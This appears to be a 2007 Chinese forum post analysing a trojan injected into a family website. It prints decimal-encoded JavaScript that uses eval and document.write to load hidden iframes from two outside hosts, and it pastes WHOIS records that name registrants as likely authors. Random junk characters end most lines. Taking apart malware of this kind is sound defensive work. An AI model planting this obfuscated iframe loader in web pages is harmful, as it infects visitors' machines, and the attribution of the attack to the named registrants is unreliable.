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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Wk@ eV\H71  
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http://www.areway.cn/?p=175 JE0?@PI$  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Hu[]h]  
          ;}LJh8_  
<script>t=’60,105,102,114,97,109,101, RfKc{V  
32,115,114,99,61,104,116,116,112,58,47,47, `f@{Vcr% i  
102,114,101,101,46,117,45,117,117,117,46,99, %drJ p6n%  
110,47,101,114,114,111,114,46,104,116,109, 3&es]1b  
32,119,105,100,116,104,61,49,48,48,32,104, }wG,BB%N  
101,105,103,104,116,61,48,62,60,47,105,102, Qi_&aU$>lM  
114,97,109,101,62′; {  |s/]W  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> >):m-I  
                                                                                                  mA& =q_gS  
<script>t=’60,105,102,114,97,109,101,32,115, W. ^Ei\w/t  
114,99,61,104,116,116,112,58,47,47,102,114, Cz_AJ-WR  
101,101,46,117,45,117,117,117,46,99,110,47, /Zc#j^_  
101,114,114,111,114,46,104,116,109,32,119, 2s 7mI'  
105,100,116,104,61,49,48,48,32,104,101,105, e1Ob!N-  
103,104,116,61,48,62,60,47,105,102,114,97, ITONpg[f  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); !g8*r"[UJ  
document.write(t);</script> \M9 h&I\7  
                                                                                                  [*Q-nZ/L  
<html xmlns=” ! ,@ZQS  
http://www.w3.org/1999/xhtml UxyY<H~Wx  
“> dY8(nQG  
<head> _R)&k%i}  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> C1d 04Q  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 'Q5&5UrBr  
<title>首页 - 爱生活家庭网 c4\C[$  
                                                                                                                                                    MU|{g 5/ )  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Ls]@icH0  
转换字符串后的大概内容是(谁点击后果自付): r*chL&7  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… dLZjB(0eO  
                                                                                                                                  0h22V$  
查询玉米u-uuu.cn的详细信息: QZ&4:K+{  
Domain Name: u-uuu.cn YgEM:'1f  
ROID: 20070901s10001s64972306-cn ?w*yW;V`  
Domain Status: ok yO=p3PV d  
Registrant Organization: 王雷 <;%0T xK|U  
Registrant Name: 王雷 E/ijvuO  
Administrative Email: czlovexs@126.com \<ZLoy_  
Sponsoring Registrar: 北京万网志成科技有限公司 S_2"7  
Name Server:ns.yovole.com {7qA&c=  
Name Server:ns1.yovole.com >8|+%pK8<  
Registration Date: 2007-09-01 17:54 `fz,Lh*v  
Expiration Date: 2008-09-01 17:54 =`-|&  
最后PING了一下地址 都没有什么…. =+<d1W`>0  
                                                                                                u, eZ6  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. #4><r.v3  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> g5y;?fqJ  
<script language=”javascript” src=” fD{II+T  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7:TO\0]2n  
> B oqJ   
这个玉米应该有可能是木马作者的: bj}=8k0  
foafau.info的详细信息: Vv8_\^g]  
Access to INFO WHOIS information is provided to assist persons in /PXioiGcs  
determining the contents of a domain name registration record in the Ea4_Qmn  
Afilias registry database. The data in this record is provided by If;R?j0;Q  
Afilias Limited for informational purposes only, and Afilias does not g`[`P@  
guarantee its accuracy.  This service is intended only for query-based 7S<UFj   
access. You agree that you will use this data only for lawful purposes X D)  8?  
and that, under no circumstances will you use this data to: (a) allow, $o.Kn9\  
enable, or otherwise support the transmission by e-mail, telephone, or {^J!<k,R\;  
facsimile of mass unsolicited, commercial advertising or solicitations P? (vW&B  
to entities other than the data recipient’s own existing customers; or b#/i.!:a  
(b) enable high volume, automated, electronic processes that send U]1(&MgV  
queries or data to the systems of Registry Operator, a Registrar, or \0ov[T N.>  
Afilias except as reasonably necessary to register domain names or !,Nwts>m  
modify existing registrations. All rights reserved. Afilias reserves R"3 M[^  
the right to modify these terms at any time. By submitting this query, 'tm$q /&  
you agree to abide by this policy. g6%Z)5D]!  
Domain ID:D22418703-LRMS JO=1ivZl  
Domain Name:FOAFAU.INFO h%TLD[[/jr  
Created On:20-Nov-2007 16:05:42 UTC .wy$-sG81  
Last Updated On:20-Nov-2007 16:05:44 UTC WDkuB  
Expiration Date:20-Nov-2008 16:05:42 UTC 44HiTWQS?l  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) .'1SZe7O  
Status:CLIENT DELETE PROHIBITED ~zF2`.  
Status:CLIENT RENEW PROHIBITED , ECLqs%  
Status:CLIENT TRANSFER PROHIBITED a }'->H  
Status:CLIENT UPDATE PROHIBITED pjw aL^  
Status:TRANSFER PROHIBITED +?[BU<X6u  
Registrant ID:GODA-040110615 f8'MP9Lv  
Registrant Name:liu hong .et ^4V3  
Registrant Organization: KzphNHd  
Registrant Street1:beijing :$g8Zm,y  
Registrant Street2: DI1(`y  
Registrant Street3: __I/F6{ 9V  
Registrant City:beijing J[@um:  
Registrant State/Province: 3F+Jdr'  
Registrant Postal Code:100000 BAV>o|-K  
Registrant Country:CN C!&y   
Registrant Phone:+86.860108888777 .VM3D0aV  
Registrant Phone Ext.: 4Po)xo  
Registrant FAX:  9S1)U$  
Registrant FAX Ext.: tHh HrMxO  
Registrant Email:bbbshiji@163.com c #lPc>0xb  
Admin ID:GODA-240110615 -.iNNM&a  
Admin Name:liu hong vfwA$7N  
Admin Organization: r &%.z*q  
Admin Street1:beijing MT6/2d  
Admin Street2: R-rCh.  
Admin Street3: Wto ;bd  
Admin City:beijing C5@V/vA  
Admin State/Province: (K :]7  
Admin Postal Code:100000 l-Nly>~  
Admin Country:CN i ev>9j  
Admin Phone:+86.860108888777 Bs8[+Ft5  
Admin Phone Ext.: g%a|q~)  
Admin FAX: |0.Xl+7  
Admin FAX Ext.: 2(M6(xH>  
Admin Email:bbbshiji@163.com A}5fCx.{  
Billing ID:GODA-340110615 "e6|"w@8  
Billing Name:liu hong iiG f'@/  
Billing Organization: fD4ICO@  
Billing Street1:beijing 0Fw6Dq<8-!  
Billing Street2: `f9gC3Hk  
Billing Street3: &aG*k*  
Billing City:beijing Xsuwa-G!5~  
Billing State/Province: z0bJ?~w,  
Billing Postal Code:100000 @;:>GA  
Billing Country:CN gSt`%  
Billing Phone:+86.860108888777 '91".c,3?  
Billing Phone Ext.: F$MX,,4U  
Billing FAX: MCc$TttaVz  
Billing FAX Ext.: @5VV|Wt=  
Billing Email:bbbshiji@163.com "D][e'  
Tech ID:GODA-140110615 6!q#x[A  
Tech Name:liu hong ^qvZ XS  
Tech Organization: -$2kO`|p  
Tech Street1:beijing Hkd^-=]]no  
Tech Street2: ymN!-x8q>'  
Tech Street3: .*YD&(  
Tech City:beijing ?okx<'"[  
Tech State/Province: jS<_ )  
Tech Postal Code:100000 tPfFqqT  
Tech Country:CN )]43R   
Tech Phone:+86.860108888777 7~1IO|4t  
Tech Phone Ext.: Vj?DA5W`'  
Tech FAX: +&|S'7&{  
Tech FAX Ext.: Sr_VL:Gg  
Tech Email:bbbshiji@163.com  dy>!KO  
Name Server:NS27.DOMAINCONTROL.COM bh p5<N  
Name Server:NS28.DOMAINCONTROL.COM IMGP'g  
Name Server: T=Z.TG|lIx  
Name Server: v2+!1r7@  
Name Server: ^tH#YlV4>9  
Name Server: ArK]0$T   
Name Server: I?Aj.{{$G%  
Name Server: )C%N]9FvY  
Name Server: -&2B@]]  
Name Server: sOU_j:A80;  
Name Server: uz3 0_aH  
Name Server: ^W?Z  
Name Server: h 8e757z  
                                                                                                          o@bNpflb`  
接着下载每个文件里面的代码: od' /%  
一步一步看.. ANi)q$:{  
[ ho (z30k  
xiblPF_n3  
Gi2$B76<  
q'Wr[A40j  
>rsqH+oL  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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